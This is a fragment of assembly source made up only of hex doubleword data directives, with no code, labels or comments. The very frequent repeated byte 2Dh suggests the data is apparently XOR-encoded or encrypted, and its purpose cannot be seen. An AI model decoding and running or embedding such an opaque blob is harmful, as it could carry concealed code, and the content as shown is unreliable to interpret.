		dd 21C69D28h, 280638D2h, 0EEE4CE9Dh, 0AD45A678h, 8EC52D34h
		dd 8E742DFAh, 9545CEF5h, 0AEC56CCEh, 70742D25h,	974578EEh
		dd 8C496C40h, 7D2D2D2Dh, 48AEA449h, 0A6252DD1h,	0A6CDA42Dh
		dd 0D2742568h, 0EDA8CD58h, 2D6C0D59h, 0AE2DBD45h, 0AEF121E9h
		dd 2D6CD160h, 2D6C4545h, 0EDC558D2h, 0A4742DFBh, 0A6D9D968h
		dd 58D22160h, 2D6D45D9h, 2D2F2D45h, 0AE2D2D47h,	0AED135E9h
		dd 2359D150h, 742D58D2h, 9745ED1Eh, 8C496C40h, 7D2D2D2Dh
		dd 0A625A449h, 0A8A4A62Dh, 0A625D34Dh, 7474AE2Dh, 68A658D2h
		dd 7DD2A625h, 2D6CA43Dh, 95C558D2h, 0AE742D2Bh,	583DFD10h
		dd 742DD236h, 84C59545h, 1E742D2Bh, 50AEC4EDh, 0AEDD2D3Dh
		dd 1850DD50h, 20A668A6h, 69A6CEF5h, 58253D2Ch, 742DD236h
		dd 70C59545h, 1E742D2Bh, 6DD5C4EDh, 0A62D68A4h,	51AEF520h
		dd 3358252Ch, 0A62D68A6h, 0E52EF520h, 2FC660A4h, 742D90C6h
		dd 0C0C59545h, 1E742D28h, 0AE2DC4EDh, 25592150h, 0A6D968A6h
		dd 68A02560h, 0D2D1A435h, 0AED9D158h, 0AE2D39EDh, 8E6D21E9h
		dd 50AECEFDh, 68A62D21h, 0C6C1A421h, 0A4D9A62Bh, 0AED9C168h
		dd 58D221EDh, 2D6D45C1h, 98C52D47h, 0E9AE2DFBh,	582DA635h
		dd 742DD21Bh, 8E65FD8Ch, 0B545CEFDh, 2D472D2Ch,	0AE2D68A0h
		dd 1C521E9h, 1E742D28h,	30C5C6EDh, 47742D28h, 0D1C5752Ch
		dd 8C742D29h, 8E65CEFDh, 68A6CEFDh, 38D2D225h, 0B5455D89h
		dd 2D472D2Ch, 0FEC558D2h, 0E9AE2DFEh, 0FBC54521h, 70742D29h
		dd 582D78EEh, 0E4C5C428h, 0A4742DFEh, 0A6C5D168h, 0AE742D29h
		dd 5ED150h, 20A668A6h, 51AECEF5h, 3A59252Ch, 20A668A6h
		dd 69EACEF5h, 452D292Ch, 76C5CE95h, 0C4742D29h,	0D22D2DE1h
		dd 2D6C2558h, 0A8A0A845h, 0AE2DD35Dh, 0CC53DE9h, 8C742D29h
		dd 68A4CEFDh, 20C6AED5h, 20A6A8A6h, 51AECEF5h, 7859252Ch
		dd 0A0D568A6h, 20A65DA8h, 69A0CEF5h, 742D392Ch,	20A62274h
		dd 69EACEF5h, 0AE2D292Ch, 2F58D550h, 0A7C528C6h, 0E4742D2Eh
		dd 582D78EEh, 0D22DC428h, 0A4742558h, 16C5D168h, 0AE742D2Eh
		dd 415ED150h, 20A668A6h, 51AECEF5h, 7B59252Ch, 8E65FD8Ch
		dd 68A6CEFDh, 0A62D44D1h, 69A6F520h, 45D5252Ch,	472D2CB5h
		dd 44D1A62Dh, 20A6B5EDh, 0E52ECEF5h, 0AE2DC57Ch, 58D221E9h
		dd 58D2D2D5h, 0E1C5D2D5h, 0C4742D2Fh, 0D22D2C32h, 2D6C2558h
		dd 0A8A0A845h, 0AE2DD341h, 0BFC53DE9h, 8C742D2Fh, 68A4CEFDh
		dd 20C6AED9h, 0A62DA8A6h, 20A645A8h, 51AECEF5h,	0A922252Ch
		dd 0A62D2D8Dh, 0A0D9D968h, 20A641A8h, 69A0CEF5h, 742D392Ch
		dd 8E652274h, 0A8A6CEFDh, 0A62DD345h, 69A6F520h, 2D47252Ch
		dd 20A6A8A6h, 0E52ECEF5h, 0AE2DC57Ch, 98D221E9h, 98D2D349h
		dd 50AED349h, 85C52DD9h, 0E4742D2Ch, 0AE2D78EEh, 742D21E9h
		dd 592D10AEh, 18D24733h, 0C145CEFDh, 0A8A06CB9h, 0AE2DD375h
		dd 0A8A03DE9h, 742DD375h, 0EC51E74h, 0AD742D2Ch, 48AEDD48h
		dd 6DD12DD1h, 44D168A4h, 20A6B5EDh, 51AECEF5h, 4959252Ch
		dd 0D4C59545h, 45742D2Dh, 0D22D2EC5h, 9545B138h, 0F8C56CCEh
		dd 0A6742D2Dh, 0A62DD168h, 69A0F520h, 2D6C392Ch, 0E9AEA8A0h
		dd 44D1A63Dh, 20A6B5EDh, 51AECEF5h, 2F59292Ch, 0BDC528C6h
		dd 1E742D2Dh, 742DE4EDh, 58D268A4h, 79C5C5D1h, 34C5D2D5h
		dd 0E4742DE2h, 58D278EEh, 0AE2DC525h, 2D4521E9h, 6CF22D29h
		dd 38D2C62Dh, 0EE705DC9h, 38D2A678h, 0EE705DC1h, 38D2A678h
		dd 0EE705C21h, 68A6A678h, 68A6DD21h, 68A4DD21h,	742DAEC9h
		dd 2D2DED1Eh, 68A02547h, 22C57DC5h, 0C57D689Bh,	742DFDF7h
		dd 0A4F568A4h, 58D2D968h, 0AE2DC5D9h, 245021E9h, 2D2D68EAh
		dd 0AEE52AC6h, 0D2F131EDh, 0A6F9F158h, 0A6DDF968h, 0D2D1DD68h
		dd 58D23958h, 68A4D2C9h, 2CD5EACDh, 50AE2D2Dh, 60A62CCDh
		dd 0A621A421h, 65A4D160h, 68A6D225h, 0D2FDA4D9h, 0A4DDFD58h
		dd 742DE168h, 2D2D68A6h, 0A8A058D2h, 0E9AED07Dh, 79C5D221h
		dd 22742DE0h, 0EDA8289Bh, 0CD8E4458h, 10AE6CCEh, 582DCECDh
		dd 452D1E2Ah, 18D2B8D1h, 38D2CECDh, 0F18E5D75h,	0C1456CCEh
		dd 18D26CB8h, 38D2CECDh, 0C58E5D75h, 0F1456CCEh, 18D26CB8h
		dd 38D2CECDh, 0C98E5D75h, 28EB6CCEh, 0AE2CCEDDh, 582DF110h
		dd 0AE2D1E2Ah, 582DC510h, 0AE2D1E2Ah, 582DC910h, 0A02D1E2Ah
		dd 0A42DDEA8h, 0A8A469A8h, 0AE2DD06Dh, 742D21E9h, 0AE2DED1Eh
		dd 88AE3988h, 88AED01Dh, 88AED015h, 88AED019h, 88AED005h
		dd 20C6D001h, 22D5A8A6h, 2D2D8BAEh, 0D2D090AEh,	58D22DD2h
		dd 0D2D2D2D9h, 6558F7C5h, 0D2D0A8A6h, 0C42D2ED2h, 3E58D213h
		dd 0D2D0A8A6h, 88AE1ED2h, 90AED009h, 0A822D039h, 472D2DE5h
		dd 98D2472Fh, 6CB8D009h, 0AE2DA02Dh, 2D6C01E9h,	0AE2DA8A0h
		dd 2D6C05E9h, 0AE2DA8A0h, 0C42D3DE9h, 2D6CD0A9h, 52C558D2h
		dd 74742D1Eh, 814524C4h, 58C52D2Fh, 0A4742DE4h,	2D2DD168h
		dd 58D28E45h, 0E9AED225h, 0C57DD221h, 742DE41Bh, 592DAE74h
		dd 0A5C5D233h, 10742DE4h, 522D2DD2h, 55C5D223h,	0A4742DE4h
		dd 33DDDD68h, 68A62D2Dh, 50AEA7D1h, 742D2D39h, 0A474ED10h
		dd 1DC1C168h, 68A62D58h, 592DA6D1h, 37C5D223h, 0A4742DE4h
		dd 2EC5C568h, 68A62D2Dh, 58D2A6D1h, 2D4745D1h, 68A42D47h
		dd 68A6AED5h, 2825AE25h, 7D2D2C29h, 2DA668A6h, 2D6C1DD2h
		dd 292868A6h, 0C57D2D2Fh, 0AE2D1F1Bh, 2D0A39E9h, 4545472Dh
		dd 68A66CBBh, 68A62825h, 2D6CAE25h, 0E9AEA8A0h,	2D45A021h
		dd 0A8A02D3Dh, 58D2C3C1h, 2D2DC5D5h, 0A6DDA8A0h, 7474C9A8h
		dd 2D6CEDA8h, 292868A6h, 0C57D2D2Fh, 742D1C2Ch,	2825C674h
		dd 7D2D2F29h, 2D2DC4C5h, 0D22D7474h, 9545B138h,	0D2C56CCEh
		dd 2DA6D2DAh, 0D9C56DA6h, 2F59D2DAh, 0D22D28C6h, 2DEB2558h
		dd 0A8A0AE2Dh, 2D2DD371h, 0C52D8A45h, 742DEB32h, 2D2D68A4h
		dd 742D58D2h, 592DAE74h, 68A6D238h, 2D6C28D1h, 28D168A6h
		dd 7D2D2C29h, 742D5BC5h, 58D28E45h, 28D1A625h, 7D2D2F29h
		dd 99459BC5h, 2D476CBBh, 0EDA858D2h, 2D2D2A58h,	0EDA868A6h
		dd 2D2D2A58h, 932268A6h, 6D25A62Dh, 6D25C57Dh, 2221C57Dh
		dd 68A62D93h, 0D5AE2225h, 2225511Dh, 22252D93h,	6D212D93h
		dd 6D25A67Dh, 0D2D2C57Dh, 0D5AE74D2h, 0A6D15807h, 2E252168h
		dd 2E25D168h, 0EDA8D168h, 68A62A58h, 0D5AE2221h, 0ED1F5807h
		dd 68A616C4h, 0EDA82221h, 68A62A58h, 60A62225h,	6D252221h
		dd 2225C57Dh, 0D5AE2D93h, 0D5AE514Ch, 22255257h, 6D252D93h
		dd 2221C57Dh, 6D252D93h, 2221C57Dh, 68A62D93h, 0D5AE2225h
		dd 2225511Dh, 22252D93h, 6D212D93h, 6D25A67Dh, 0D5AEC57Dh
		dd 0A6D15807h, 2E252168h, 2E25D168h, 2CD5D168h,	2AC62D2Dh
		dd 0A6D568A6h, 5221D568h, 22D1A621h, 68A46882h,	0E4D1C6D1h
		dd 2CD178EEh, 48AE2D2Dh, 0D5AE2DDDh, 6DCD581Dh,	2E2568A4h
		dd 0D5AECD68h, 0D2CD5875h, 742D2558h, 0A4CD68A4h, 6DC1C168h
		dd 2E2568A4h, 0AED5C168h
		dd 3C51D550h, 0AED550AEh, 0C6DD1DC5h, 2AC6AE6Eh, 0A6F168A6h
		dd 68A6F168h, 14C922F1h, 0AEF1D568h, 0C6DD27EDh, 6F5C6F8h
		dd 93C5C168h, 0A6D1D2D3h, 72D9D168h, 7B2DE473h,	0D231A67Ah
		dd 742DC51Dh, 742DA8A4h, 0A8A0D274h, 742DD350h,	0A439A674h
		dd 0AE2D50A8h, 0A62D21E9h, 742D75A8h, 0F5DA94C4h, 0AE31ED36h
		dd 18582955h, 2EC5A8A0h, 74742D01h, 0F5DA6EC4h,	0A02DED36h
		dd 0D27DC1A8h, 0EDA8C938h, 0A8A03653h, 0AE2DD371h, 0F5DA21E9h
		dd 68A6ED36h, 68A6D231h, 0A62DD231h, 0F5DA75A8h, 0AE0DED36h
		dd 0A9222955h, 452D2C25h, 0A62D2CADh, 742D0D68h, 0A8A6A8A4h
		dd 742DD6C5h, 0A8A0A874h, 742DD745h, 285BA8A4h,	742DDEC4h
		dd 7474D274h, 0AE2DA8A4h, 0A8A021E9h, 2D2DD371h, 0AE0DE9AEh
		dd 0A9222955h, 0A62D2DFDh, 0D5AE0D68h, 2D2D2210h, 6DA668A6h
		dd 742D6D29h, 0A60DEDA8h, 742D296Dh, 285BA8A4h,	0A60D2BC4h
		dd 742D296Dh, 7474A474h, 0A8A0A8A4h, 0A8A0DA4Dh, 0F5DAD371h
		dd 0D231ED36h, 0A62D295Dh, 0F5DA75A8h, 0A62DED36h, 0F5DA75A8h
		dd 2D2DED36h, 0D2DB2147h, 742DDED2h, 0D2DBA8A0h, 2D477DD2h
		dd 0D2DBA8A0h, 0AD2D7DD2h, 6C5D38D2h, 0AE74A82Dh, 0D2DB2590h
		dd 2D37D2D2h, 0A074A02Dh, 0A07465A8h, 2D47C9A8h, 0D2DBA8A0h
		dd 0EDA8D2D2h, 0AE740A59h, 0D2DB2590h, 0A02DD2D2h, 0D27465A8h
		dd 90A02598h, 0AD74D8C5h, 2D2D0888h, 0AE2DC62Dh, 0BD20CD88h
		dd 0D8CDD2DBh, 0AD74D2D2h, 0E9AE6888h, 0AE2D4721h, 0AE2D21E9h
		dd 0A8A021E9h, 2D09D371h, 0A62DAE2Dh, 0F5DA75A8h, 2CD5ED36h
		dd 0A8CA9322h, 742D59EDh, 0C6741CC6h, 742DA037h, 742DA8A0h
		dd 0C474DBC4h, 0A62D3AE2h, 937475A8h, 90A0B0A1h, 90A0D889h
		dd 9322D8E5h, 27C60624h, 0A8A6A8EAh, 0D2B1B131h, 27C665D2h
		dd 0D2B1A8EAh, 0A8A63DD2h, 742DB135h, 7D2D98D2h, 0AE2D9322h
		dd 0C47435E9h, 0A62D3BE6h, 0D23175A8h, 0D231395Dh, 0D2313D5Dh
		dd 0D231215Dh, 0D231255Dh, 0F5DA295Dh, 0AE31ED36h, 2D9829EDh
		dd 0A62DAE2Dh, 0F5DA75A8h, 0F5DAED36h, 0D20DED36h, 742D295Dh
		dd 0F5DA3FC4h, 68A6ED36h, 68A6D231h, 0A62DD231h, 0F5DA75A8h
		dd 68A6ED36h, 68A6D20Dh, 68A6D231h, 0A62DD231h,	68A675A8h
		dd 68A6D20Dh, 0AE2DD231h, 0C5AD21E9h, 0D20D76DEh, 0AD2D295Dh
		dd 0A8A6CCC5h, 0D20DD375h, 0F5DA295Dh, 0D20DED36h, 0F5DA295Dh
		dd 0D20DED36h, 0F5DA295Dh, 0A62DED36h, 0F5DA75A8h, 0A8A0ED36h
		dd 0F5DAD371h, 0D20DED36h, 742D295Dh, 0A62DC474h, 0F5DA75A8h
		dd 0F5DAED36h, 0D231ED36h, 0D231395Dh, 0D2313D5Dh, 0D231215Dh
		dd 0D231255Dh, 0AE2D295Dh, 0A62D35E9h, 0F5DA75A8h, 742DED36h
		dd 0A62D69C4h, 0F5DA75A8h, 5DD2ED36h, 742DC529h, 452DEDA8h
		dd 0A62D2C29h, 6CC00D68h, 0D45C52Dh, 3DC56CC0h,	74742D98h
		dd 0A62DCCC4h, 0F5DA75A8h, 0D231ED36h, 0D231395Dh, 0D2313D5Dh
		dd 0D231215Dh, 0D231255Dh, 2DA2295Dh, 0A62DAE2Dh, 0F5DA75A8h
		dd 0AE0DED36h, 28582955h, 0A62D5EC4h, 0A62D0D68h, 742D0D68h
		dd 0D20DD27Dh, 0AE2D295Dh, 0AE2D21E9h, 742D21E9h, 2D2D2D45h
		dd 742DA8A0h, 2D3DC574h, 0E9AEA02Dh, 0A8A0C621h, 0AE0DD371h
		dd 28582955h, 68A673C4h, 742DD20Dh, 742DC57Dh, 0D288A8A4h
		dd 0D288AED2h, 74742DD2h, 0D288A0A6h, 0A8A0ADD2h, 2D30D371h
		dd 0A8A6AE2Dh, 0F5DAD375h, 0AE31ED36h, 36582955h, 0A8A00545h
		dd 0AE2DD371h, 0D23121E9h, 6CDD295Dh, 742DC52Dh, 0A62DC474h
		dd 0F5DA75A8h, 0D231ED36h, 2D2D295Dh, 0F5DAA8A6h, 0D231ED36h
		dd 0A62D295Dh, 0F5DA75A8h, 0D231ED36h, 2D2D295Dh, 0D20DA8A6h
		dd 0D231295Dh, 0A62D295Dh, 0F5DA75A8h, 68A6ED36h, 68A6D231h
		dd 0A62DD231h, 68A675A8h, 68A6D231h, 0A62DD231h, 0F5DA75A8h
		dd 0C545ED36h, 0C5C56CB7h, 74742D31h, 30C4AD45h, 0A8A62D22h
		dd 0F5DAD375h, 0AE31ED36h, 28582955h, 6CF6D7C4h, 742DC52Dh
		dd 0AE31A674h, 23592555h, 0F2C568A6h, 74742D9Dh, 0BD450545h
		dd 0FD456CF6h, 77C56CB7h, 0E9AE2D31h, 0A62DC421h, 0F5DA75A8h
		dd 0AE31ED36h, 28582955h, 592D5BC4h, 0A631A623h, 0D2B1256Dh
		dd 0D231A6D2h, 0D5C5295Dh, 0E9AE2D36h, 0A62DC421h, 90C575A8h
		dd 74742D36h, 0AE31D0C4h, 28582955h, 0A474F7C4h, 0A62DBDA8h
		dd 55AE75A8h, 0D2312D25h, 7474295Dh, 55AE4FC4h,	0A62D2D25h
		dd 0D2310D68h, 2D2D295Dh, 2D2D7474h, 0F5DAA8A6h, 0AE31ED36h
		dd 13582955h, 6CF210AEh, 27C62D2Dh, 98D2A8EAh, 0A8A0B121h
		dd 2D2DD371h, 68A6E9AEh, 742DD231h, 2D2DA874h, 0A62D2AC6h
		dd 0F5DA75A8h, 0F5DAED36h, 7474ED36h, 0A62DD2C4h, 0F5DA75A8h
		dd 0F5DAED36h, 1145ED36h, 42C56CABh, 0C4742D34h, 0A62D269Dh
		dd 38D275A8h, 0D27D5DA1h, 2D47BD38h, 0A8A02D47h, 0D5AE89A1h
		dd 452D5A0Dh, 26C5AB05h, 47742D34h, 0A8A6D22Dh,	0F5DAD375h
		dd 0AE31ED36h, 28582955h, 0A62D0BC4h, 0A67D3168h, 457D3168h
		dd 0A8A0B4F9h, 0AE2DD371h, 0A62D3DE9h, 0F5DA75A8h, 0A62DED36h
		dd 0D20D75A8h, 2D27295Dh, 0D20DA62Dh, 0A8A6295Dh, 0C3C5D375h
		dd 0A6742D3Ah, 0D2313168h, 0D231255Dh, 0E9AE295Dh, 0A62DC421h
		dd 0F5DA75A8h, 0AE31ED36h, 27582955h, 2D4768A6h, 0EDA868A6h
		dd 0A8A6A822h, 472D89A5h, 2D47472Fh, 0A8A62C45h, 0EDA889A9h
		dd 0A631A822h, 0A8A0296Dh, 0D2B18DADh, 0D2D345D2h, 0AE2D7DD2h
		dd 0A6313DE9h, 0A8A0296Dh, 0A8A08DADh, 0AE2DD371h, 0EDA83DE9h
		dd 0A6312359h, 0A8A0296Dh, 0D2B18DADh, 0D22D45D2h, 0A8A6B138h
		dd 37C689A9h, 0A8A068A6h, 0F5DAD371h, 0AE31ED36h, 27582955h
		dd 2D4768A6h, 0EDA868A6h, 2D2DA822h, 2C45472Dh,	0A8A02D29h
		dd 0A8A6B155h, 0EDA88D51h, 68A67A58h, 0EDA8A631h, 0A6312359h
		dd 0A8A0296Dh, 0A8A0B155h, 0AE2DD371h, 98D23DE9h, 68A68D51h
		dd 0A8A0D231h, 0AE2DD371h, 0AE3121E9h, 3C592955h, 0A62D68A6h
		dd 742D3168h, 6CB5A8A4h, 0D231A62Dh, 68A6295Dh,	0D231A631h
		dd 0A8A0295Dh, 0D231D371h, 0D371295Dh, 0AE2DD2D2h, 3D4721E9h
		dd 0BAC52D47h, 0A8062D8Ah, 222DB149h, 2D2DA6AEh, 742DD245h
		dd 6C5F7D74h, 0C8C54B2Dh, 6C5FD251h, 2D47A42Dh,	98D22C47h
		dd 6C5FB165h, 2D29A62Dh, 6CB55B2Dh, 2D3DA02Dh, 0A62DAE2Dh
		dd 0F5DA75A8h, 9A45ED36h, 2D472D2Eh, 2D6CC545h,	2D2DA8A0h
		dd 2D6CE9AEh, 68A6F5DAh, 0A62DD231h, 2D6C75A8h,	2D6CF5DAh
		dd 0A62DF5DAh, 2D6C75A8h, 0A62DF5DAh, 0C4C575A8h, 6CA6D2ADh
		dd 0C428A02Dh, 0D22D2E22h, 0A62D6998h, 0A62D75A8h, 0F5DA75A8h
		dd 0AE31ED36h, 39592955h, 2D2368A6h, 2D23DA2Dh,	0D3C5DA2Dh
		dd 2D23D2E6h, 2D23DA2Dh, 2D6CDA2Dh, 4 dup(2D6C90AEh), 0D2B190AEh
		dd 2D6C2CD2h, 0D2B198D2h, 6CBAD2D2h, 0E9AEA02Dh, 0AE31C615h
		dd 24592955h, 0D23168A6h, 7FC5255Dh, 74742D8Fh,	2D6CDD45h
		dd 0D23168A6h, 6CDC255Dh, 2225C52Dh, 6D252D93h,	0CFC668A4h
		dd 0EE7068A6h, 0D22DA678h, 0AE2D2558h, 0A8A021E9h, 2F58D7FDh
		dd 0D5AE52C6h, 6CB2590Dh, 2D2F452Dh, 742DA02Dh,	2D47A8A0h
		dd 0AE2D12C5h, 26592550h, 932268A6h, 0A62DAE2Dh, 45252568h
		dd 58D2B29Dh, 0AEDDC525h, 2A58DD50h, 6D25ED1Eh,	215BAD10h
		dd 20C6A8EAh, 6D2568A6h, 0D35DA8A4h, 0A62DD2D2h, 0C6D1D168h
		dd 58D2A0C7h, 0A02DC5D1h, 742D15A8h, 0A822A8A4h, 452D2C25h
		dd 0A8A0A27Dh, 6CB2D315h, 0A8A0A02Dh, 2D2DD315h, 0A8A0452Dh
		dd 2 dup(0A8A0D315h), 0EDA8D315h
		dd 0A8A02058h, 2D8ED315h, 0AE2D742Dh, 452D7590h, 0A8A0A27Dh
		dd 6CB2D335h, 742DA02Dh, 0A8A0A874h, 742DD335h,	2D2DA874h
		dd 0A8A0452Dh, 0A8A0D335h, 742DD335h, 0A8A0A874h, 0A8A0D335h
		dd 7145D335h, 0A8A06CB2h, 742DD34Dh, 2D2DA874h,	0A8A07545h
		dd 2D2DD34Dh, 0A8A07945h, 0A8A0D34Dh, 742DD34Dh, 0A8A0A874h
		dd 0A8A0D34Dh, 7DD5D34Dh, 2D478145h, 0A4D987C5h, 0AED5D168h
		dd 2F58D550h, 0C52D77C6h, 742DB15Eh, 58D268A4h,	0AED1A6D5h
		dd 68A629EDh, 2D2C28D1h, 2D477D2Dh, 0A9C558D2h,	592DD2EBh
		dd 5545D249h, 0DEC56CC4h, 74742DB6h, 0B6F350AEh, 0B6E62D2Dh
		dd 592D2D2Dh, 0D545D23Ch, 9BC56CCAh, 74742DB6h,	6CF23CC6h
		dd 8EC5452Dh, 74742DB6h, 2D2DAFC4h, 0A6D148AEh,	592DD168h
		dd 6CF6C62Fh, 742D452Dh, 46D5A674h, 0B66E21EDh,	46D52D2Dh
		dd 6CF621EDh, 68A62D2Dh, 6CF646D5h, 31C5452Dh, 74742DB6h
		dd 18555545h, 40C52D2Dh, 0E4742D18h, 7DAD78EEh,	0D2D206C5h
		dd 742DE9AEh, 38C5D545h, 0AE742D18h, 0A9222550h, 222D2DA2h
		dd 0EDA82893h, 0A8A03859h, 7474D351h, 4BC53EC6h, 74742DB7h
		dd 74749322h, 6CDC3EC6h, 7474C52Dh, 6C8DA8A0h, 0AE2DC52Dh
		dd 0AE2D39E9h, 0C592550h, 2D2F9322h, 0BCC5C52Dh, 7474D2B5h
		dd 90ACFEC5h, 5E2DD359h, 90ACEA27h, 88AED359h, 0A8EAD0F9h
		dd 2D2DD0CDh, 742D472Dh, 742D7D74h, 68A07D74h, 6CF17DADh
		dd 6CF1A82Dh, 6CF6452Dh, 742DC52Dh, 6CF64574h, 742DC52Dh
		dd 5459322h, 7C56CC3h, 74742DB5h, 0F2C50545h, 0C6742D1Fh
		dd 7DAD4509h, 747420C5h, 3 dup(742D68A0h), 7DADA074h, 2D2D0545h
		dd 0AD2A7474h, 4DD1D2D2h, 55452DC7h, 4EC56CC4h,	45742D1Fh
		dd 75C5C755h, 45742D1Fh, 472D0A3Dh, 0C455452Ch,	55452D6Ch
		dd 0CCC56CC4h, 45742D1Ch, 0FBC5C755h, 0AE742D1Ch, 2059A910h
		dd 1BC52C47h, 28D1D2D6h, 0A42DC74Dh, 2DBAD168h,	3145D22Dh
		dd 0A8A06C8Dh, 0D2D1C2D5h, 2D3DD158h, 7DD5062Dh, 0D52868A6h
		dd 2DB4D2C2h, 3945AE2Dh, 0A8A06CAFh, 2DBAC2D5h,	545D22Dh
		dd 0A8A06C8Dh, 2DBBC2D1h, 48AEAE2Dh, 742D2DD1h,	2D2DA074h
		dd 2D2D7D74h, 932268A6h, 0EDA8B5ADh, 0AE2D2859h, 68A6D548h
		dd 2C2DAE25h, 0AE250D58h, 2D2D0CEDh, 0AE25E9AEh, 582F0C95h
		dd 0AE25A60Dh, 0A8A00CEDh, 0AE25C2D5h, 582E0C95h, 0AE25A60Dh
		dd 2D2D0CEDh, 0AE25E9AEh, 6C8D0CEDh, 0AE2DA02Dh, 0A6D521E9h
		dd 2D2D2568h, 0AE250659h, 592F0C95h, 0AE25A621h, 582E0C95h
		dd 7DD5453Eh, 0D52868A6h, 68A6D2C2h, 2F2DAE25h,	0AE252159h
		dd 582E0C95h, 6C8D453Eh, 2D2DA02Dh, 742D7474h, 2D3DA074h
		dd 2D2DA02Dh, 48AEE9AEh, 2D2D2DD1h, 0D2517474h,	68A4AED2h
		dd 0E4D1A6D1h, 285878EEh, 2D2DA8C4h, 2F58FCC5h,	2D3D58C6h
		dd 2947472Dh, 68A42D47h, 2D4747D5h, 0D2D92D47h,	2C472558h
		dd 2C47E545h, 63C5E445h, 0A4742DBEh, 0A6D1D568h, 50D5D168h
		dd 2E25A649h, 0FEC5D168h, 74742D06h, 602E60A6h,	0D5AEA5D1h
		dd 602E5812h, 602EA5D1h, 0D239A5D1h, 0EDA8C51Dh, 0D2393A58h
		dd 68A6295Dh, 2D2DD239h, 452D7474h, 68A68C71h, 2D20D239h
		dd 68A6452Dh, 2D2DD239h, 0AE397474h, 0A9222155h, 0A62D2F04h
		dd 0D2393968h, 742D215Dh, 0AE39A874h, 0A9223D55h, 452D2C6Eh
		dd 68A68C69h, 0BC5D239h, 74742DBBh, 222DEDA8h, 68A632A9h
		dd 0AE39AE39h, 24593155h, 0D5AE68A6h, 2D2D580Fh, 6CF67474h
		dd 2D2DA02Dh, 2D2D7474h, 0B8C5E9AEh, 0A4742DBCh, 0A8A0E5A8h
		dd 2DBCD095h, 0D239AE2Dh, 0D239315Dh, 452D395Dh, 68A68C15h
		dd 2D2DD239h, 0D2397474h, 2D2D215Dh, 9A457474h,	2D472D2Eh
		dd 0C5452545h, 58D26C8Dh, 452DC521h, 68A68DCDh,	2D2DD239h
		dd 0D2397474h, 6C5C215Dh, 452DA82Dh, 68A68DF9h,	0A4D2D239h
		dd 90AC1DA8h, 5E2DD01Dh, 90ACEA27h, 88AED01Dh, 0A8EAD1BDh
		dd 2D2DD1B1h, 0D2D1472Dh, 0A8A02DD2h, 0D2D0D015h, 2D247DD2h
		dd 68A6452Dh, 45C5D239h, 74742DBFh, 2D47EDA8h, 2D2D2D47h
		dd 0D239E945h, 2D2D295Dh, 6CC27474h, 0AE39D22Dh, 6D592555h
		dd 0D5AE68A6h, 0A46D5817h, 0A8A435A8h, 2D2DD535h, 0D2399D45h
		dd 2D2D295Dh, 0D2397474h, 2DA0255Dh, 6CC2AE2Dh,	6CC3C52Dh
		dd 6CF6452Dh, 0E4C5452Dh, 0A1C5D2D5h, 6CDDD2D5h, 4FC5C52Dh
		dd 452DD2D5h, 68A68DB9h, 2D47D239h, 68A62C47h, 742DD239h
		dd 0AE39A874h, 28582155h, 68A67AC4h, 2858D239h,	0A62D1CC4h
		dd 6CDD65A8h, 0D24AC52Dh, 452D74D2h, 0A02D2C2Dh, 6CDD61A8h
		dd 0D2B6C52Dh, 452DAED2h, 68A68DA9h, 0AE39D239h, 28582555h
		dd 58D29EC4h, 7D6DC521h, 68A60545h, 0AE35D239h,	23593D55h
		dd 6DA668A6h, 0A62D223Dh, 93223568h, 0A6352C6Dh, 0A6353D6Dh
		dd 74743D6Dh, 0D2D2A8A4h, 0D2D298D2h, 6DA668A6h, 2D3D6D3Dh
		dd 0A635742Dh, 742D3D6Dh, 0AE35A674h, 0D593955h, 5DD268A6h
		dd 0A635A639h, 742D3D6Dh, 0A635C674h, 2D2C3D6Dh, 6DA668A6h
		dd 0A635223Dh, 2F583D6Dh, 0D5AE53C6h, 0D239590Dh, 6CB2215Dh
		dd 2D2F452Dh, 0AE2DA02Dh, 1EC539E9h, 0D2D5D28Dh, 859A6D2h
		dd 6CA468A6h, 68A64521h, 68A6D239h, 0D5AEA639h,	2D2D582Ch
		dd 0A6393EC6h, 0D239256Dh, 0A639295Dh, 2D2D216Dh, 0A6393BC6h
		dd 0AE2D256Dh, 0A6395190h, 6CA4216Dh, 2459AE21h, 742D90AEh
		dd 2CD2A8A4h, 742D44C6h, 0D2D5A8A4h, 0A8A6A6D2h, 0D2D5D519h
		dd 2DD2ADD2h, 29A6A8A6h, 2DD2A6ACh, 742D28C6h, 0A421A874h
		dd 68A05DA8h, 0AE2D7DA9h, 0A63521E9h, 0F9C5A42Dh, 0A4742DAAh
		dd 22ADAD68h, 65AD6D93h, 22AD68A4h, 3 dup(22AD6D93h), 2CA96D93h
		dd 0C6AD68A6h, 0AE2DC62Fh, 0D2D50588h, 0A62D6DD2h, 285805A8h
		dd 2D2DBCC4h, 0A6ADA8A6h, 0D2D505A0h, 742D2DD2h, 0D2D5A0A6h
		dd 0A8A6A6D2h, 29A6D505h, 0A62DADACh, 0A62D05A8h, 0A8A605A8h
		dd 0D239D505h, 0AE35255Dh, 0AE3921EDh, 7DA921EDh, 58D298D2h
		dd 0A62DC521h, 582D3968h, 5D45C428h, 68A66C8Dh,	2D2DD239h
		dd 0D239A62Dh, 6CC2215Dh, 0D2ECC52Dh, 0D23974D2h, 0AE74215Dh
		dd 0D23929D5h, 0D5AE215Dh, 68A65808h, 742DD239h, 40C560A6h
		dd 0FF1E2D33h, 0D50D4947h, 0D239D2D2h, 1674215Dh, 0AE350DA8h
		dd 0AE393DEDh, 7DA93DEDh, 58D298D2h, 0AE2DC521h, 3D47D148h
		dd 0CDC5A8A0h, 742DD2BFh, 2D2DA874h, 24592AC6h,	285890AEh
		dd 452D9BC4h, 98D28C79h, 742DC391h, 742DA874h, 0A822A874h
		dd 0A62D2DFDh, 2D2DE9A8h, 2D2FA8A6h, 98D2742Dh,	742DC395h
		dd 20C6A874h, 2F58A8A6h, 742D47C6h, 2CD168EAh, 88AE2D2Dh
		dd 0A8EAD255h, 0C62DC399h, 2D2DA620h, 0A62DA022h, 0A8EA95A8h
		dd 0A62DD255h, 365899A8h, 0A9A5A8A6h, 0A9A55620h, 88ADDA20h
		dd 0A8A0C25Ah, 68A4C359h, 0A4D1A6D1h, 22D5D568h, 2AC62D93h
		dd 0ACD168A6h, 2D2CD150h, 6CC75E2Dh, 0AED12D2Dh, 0F3C6D150h
		dd 0A474EEE4h, 0AE2DD968h, 48AED148h, 6DD12DD5h, 5ED968A4h
		dd 2E25A633h, 6CC7D568h, 68A6EC2Dh, 0A6D56DD5h,	5ED9D568h
		dd 2E25A604h, 6CC7D568h, 2E21EC2Dh, 2D2DD168h, 0A6D168A6h
